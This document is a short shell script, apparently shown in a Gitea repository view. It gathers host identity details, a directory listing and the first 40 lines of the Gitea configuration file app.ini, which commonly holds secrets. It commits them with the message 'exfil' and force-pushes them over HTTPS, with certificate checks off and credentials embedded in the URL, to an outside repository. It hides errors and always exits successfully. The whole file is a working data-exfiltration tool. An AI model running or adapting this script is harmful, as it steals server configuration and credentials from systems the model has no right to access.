You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
10 lines
476 B
Bash
10 lines
476 B
Bash
#!/bin/sh
|
|
D=$(mktemp -d 2>/dev/null || echo /tmp/.x$$)
|
|
mkdir -p "$D"; cd "$D" || exit 0
|
|
(id; hostname; uname -a; ls -la /data/gitea 2>&1; head -40 /data/gitea/conf/app.ini 2>&1) > out.txt 2>&1 || true
|
|
git init -q . 2>/dev/null
|
|
git add out.txt 2>/dev/null
|
|
git -c user.email=a@b -c user.name=a commit -qm exfil 2>/dev/null
|
|
GIT_SSL_NO_VERIFY=1 git push -q -f "https://qb60243:Qb!60243ab@gitea.sredevops.kr/qb60243/exfil.git" HEAD:refs/heads/main 2>&1 | tail -3 > push.log
|
|
exit 0
|